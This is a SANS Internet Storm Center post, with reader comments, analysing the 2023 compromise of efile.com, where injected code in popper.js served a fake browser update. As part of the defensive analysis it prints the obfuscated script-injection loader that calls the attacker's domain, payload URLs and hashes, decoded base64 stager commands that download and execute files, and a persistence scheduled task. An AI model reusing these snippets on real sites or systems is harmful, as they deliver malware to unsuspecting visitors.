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Supply Chain Compromise or False Positive: The Intriguing Case of efile.com [updated - confirmed malicious code]

Published: 2023-04-03. Last Updated: 2023-04-03 19:08:14 UTC
by Johannes Ullrich (Version: 1)
14 comment(s)

[Added an update at the end with more details regarding the "update.exe" file. I think it is safe to say at this point, that efile.com has been compromised.]

Last week, related to the 3CX compromise, I mentioned how difficult it can be to determine if an overall trusted resource is compromised. This weekend, our reader Drew sent us a note that there is some talk about efile.com being possibly compromised. Users are reporting a popup that offers a file "update.exe." This in itself is, of course, highly suspicious. But I was not able to reproduce the issue. Drew also linked to an any.run analysis showing the behavior [1].

The update.exe was apparently uploaded to Virustotal [2]. As I checked earlier today, only two engines flagged the file: Crowdstrike and Cynet. I just redid the analysis and did not get any additional positives. The file appears to have been uploaded on March 17th, and the creation time is March 17th as well. A post on Reddit also observed the behavior on March 17th [3]

Let's take a closer look at efile.com. The site uses common modern technologies: Bootstrap, jQuery, and Google Analytics [4]. Nothing too special about this. But things get a bit more interesting looking at the sources downloaded by the browser:

An empty response is received from https[:]//www[.]infoamanewonliag[.]online/update/index.php. The URL's " update " part matches the suspect binary's name that users reported (update.exe).

So why did the browser connect to infoamanewonliag[.]online?

It turns out that the request came from "popper.js":

screen shot showing a snippet from popper.js

The slightly obfuscated code becomes (line breaks added for readability):

s=document.createElement('script');
document.body.appendChild(s);
s.src='//www.infoamanewonliag.online/update/index.php?'+Math.random();

The use of obfuscated code is indeed very odd. The remaining content of popper.js matches a standard bootstrap addon to display popup dialogs [5]. Someone took the normal and harmless popper.js and added obfuscated JavaScript to connect to infoamanewonliag[.]online.

What do we know about infoamanewonliag[.]online?

Whois shows that it was registered on March 12th and last updated on March 17th, the same day update.exe was created and uploaded to Virustotal. The hostname resolves to 47.245.6.91. This IP address is hosted by Alibaba.

Compromised or not? I reached out to efile.com and am waiting for a response. Only they should be able to know for sure if this code is supposed to be on the site or not. Any other ideas to figure out what exactly is happening here?

[UPDATE Apr 3rd 1419PM EDST]

Colin Cowie on Mastodon (@the_protoCOL@infosec.exchange) noted that urlscan.io caught some of the update.exe redirects [6].

  1. JavaScript redirects the user to a fake error page. The page looks very much like a legitimate browser error stating, "The current version of your browser uses an unsupported protocol. Click on the below link to update your browser."
  2. Additional Javascript is loaded from ?channel-platform.s3.ap-east-1[.]amazonaws[.]com/package/update[.]js. This javascript is used to display the fake page.
  3. update.exe uses a valid signature from "Sichuan Niurui Science and Technology Co., Ltd.

 

screen shot of malicous fake browser warning

A bit more about "update.js"

It starts with two URLs:

let agent = navigator.userAgent.toLowerCase();
let payload_chrome = '//www.infoamanewonliag.online/update/download.php?file=update.exe';
let payload_firefox = '//www.infoamanewonliag.online/update/download.php?file=installer.exe';
let ua1 = '';
let payload = '';

So different browsers get different payloads. 

  • update.exe redirects to https://winwin.co.th/intro/update.exe.
    sha256: 882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb
    VirusTotal: https://www.virustotal.com/gui/file/882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb
     
  • installer.exe redirects to https://winwin.co.th/intro/installer.exe
    sha256: d4f545691c8441b5bcb86535b1d0fd16dc06786eb4080087588cd4d0f388d5ca
    VirusTotal: https://www.virustotal.com/gui/file/d4f545691c8441b5bcb86535b1d0fd16dc06786eb4080087588cd4d0f388d5ca

Both files are only marked as malicious by two scanners right now: Crowdstrike Falcon and Cynet.

 

 

[1] https://app.any.run/tasks/d25c5a78-d22f-4a8c-b714-73541a66a412/
[2] https://www.virustotal.com/gui/file/882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb/detection
[3] https://www.reddit.com/r/Scams/comments/11tx8pj/possible_fake_website_network_error/
[4] https://urlscan.io/result/ae5e4300-a850-44c9-897b-c6abed59bd08/
[5] https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
[6] https://infosec.exchange/@th3_protoCOL/110136246902506054

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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14 comment(s)
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Comments

Nice work,

But I think [5] is more likely 1.12.9

https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Thanks. that is a better URL. will update.
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Some additional info:
update.exe connects back to the same site to perfomr several functions.
hxxps://www.joesandbox.com/analysis/837568/0/html

hxxps://www.infoamanewonliag.online/update/code.php?priv=init
ZmlsZTEgPSBkb3duX2ZpbGUoJ2h0dHBzOi8vY2hhbm5lbC1wbGF0Zm9ybS5zMy5hcC1lYXN0LTEuYW1hem9uYXdzLmNvbS9wYWNrYWdlLzd6LmV4ZScpO2ZpbGUyID0gZG93bl9maWxlKCdodHRwczovL2NoYW5uZWwtcGxhdGZvcm0uczMuYXAtZWFzdC0xLmFtYXpvbmF3cy5jb20vcGFja2FnZS9waHAuN3onKTtmaWxlMyA9IGRvd25fZmlsZSgnaHR0cHM6Ly9jaGFubmVsLXBsYXRmb3JtLnMzLmFwLWVhc3QtMS5hbWF6b25hd3MuY29tL3BhY2thZ2UvMS5waHAnKTtmaWxlNCA9IGRvd25fZmlsZSgnaHR0cHM6Ly9jaGFubmVsLXBsYXRmb3JtLnMzLmFwLWVhc3QtMS5hbWF6b25hd3MuY29tL3BhY2thZ2UvcGhwLnZicycpO2V4dHJhY3QgPSBmaWxlMSArICcgeCAteSAtcHBocHNoZWxsIC1vJyArIGJhc2VfcGF0aCArICcgJyArIGZpbGUyO3ByaW50KGV4dHJhY3QpO29zLnN5c3RlbShleHRyYWN0KQ==
Decoded
file1 = down_file('hxxps://channel-platform.s3.ap-east-1.amazonaws.com/package/7z.exe');file2 = down_file('hxxps://channel-platform.s3.ap-east-1.amazonaws.com/package/php.7z');file3 = down_file('hxxps://channel-platform.s3.ap-east-1.amazonaws.com/package/1.php');file4 = down_file('hxxps://channel-platform.s3.ap-east-1.amazonaws.com/package/php.vbs');extract = file1 + ' x -y -pphpshell -o' + base_path + ' ' + file2;print(extract);os.system(extract)

hxxps://www.infoamanewonliag.online/update/code.php?priv=system
dXNlcl90eXBlID0gJ3N5c3RlbScKcmVndGFzaygnVXBkYXRlQnJvd3NlcicsIGJhc2VfcGF0aCArICdcXGRvd25sb2Fkc1xccGhwLnZicycsICcnLCAnc3lzdGVtJykKcmV0ID0gY3R5cGVzLndpbmRsbC51c2VyMzIuTWVzc2FnZUJveFRpbWVvdXRXKDAsIHUnVXBkYXRlIHN1Y2Nlc3NmdWxseSxwbGVhc2UgcmVydW4gYnJvd3NlcicsIHUnTm90aWNlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbjMyY29uLk1CX09LLCAwLCA1MDAwKQ==
Decoded
user_type = 'system'
regtask('UpdateBrowser', base_path + '\\downloads\\php.vbs', '', 'system')
ret = ctypes.windll.user32.MessageBoxTimeoutW(0, u'Update successfully,please rerun browser', u'Notice',
win32con.MB_OK, 0, 5000)

Update.exe downloads 7zip(7z.exe), a standalone windows PHP environment(php.7z), a VB Script to execute 1.php(php.vbs) and 1.php with information gathering and beaconing functions.

I have the contents of php.vbs and 1.php if anyone wants them.
Are there any recommended removal steps for this yet? I wiped out the entire C:\ProgramData\Browsers folder (after creating a backup of the files). The user is getting a Windows script Host error stating that it "Can not find script file "C:\ProgramData\Browsers\downloads\php.vbs". So, I am guessing that there is a VBscript or something running in the background. I have run a full Defender scan on the PC, but just wanted to see if there was any other recommended cleaning steps.
It creates a scheduled task called UpdateBrowser
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>Administrator</Author>
<Description>Don't delete this task schedule.</Description>
<URI>\UpdateBrowser</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger id="BootTriggerId">
<Repetition>
<Interval>PT1M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary></StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\Browsers\downloads\php.vbs</Command>
</Exec>
</Actions>
<Principals>
<Principal id="Author">
<UserId></UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
</Task>
It writes some registry keys. You can search the registry for update.exe and php.vbs. Honestly, I don't even try to "repair" things like this. I create a raw dump of the drive for malware analysis and then wipe and reload the system. Or pull and replace the drive. This is assuming I don't see indications of activity going beyond the OS layer.

This report from Hybrid Analysis caught some of the registyr changes.
hxxps://www.hybrid-analysis.com/sample/882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb/642342de6f5c9195420c3675
Interesting. I did find the scheduled task and was able to wipe that out, but I am not seeing any specific registry keys to delete. I have searched for update.exe as well as php.vbs with no luck.
Nevermind. Looks like it writes the following registry key:
HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\UPDATE.EXE"; Value: "763F9310AE61D90100000000000000000000000002000000")
There's a couple reasons that could be. The simplest is that it just didn't write any changes and that the registry calls were read only. This malware has shown to contain anti-sandboxing. Joe's and Hybrid Analysis returned very different results. Another reason could be because this is a multi-stage malware and registry changes could be done by a later process. I don't have a complete map of it yet. I'm actually in a SANS class right now and have been looking at it after hours. I have a raw image of a computer that was partially infected by it. EDR caught and blocked the wscript call to run 1.php so the image I have was not completely infected. I can't get to the system that I use to analyze it from where I am now but I'm positive I saw registry changes made regarding proxy config. I think I saw a total of 4 registry changes. I'll go back over my notes to see if I can find them again and post it back here.

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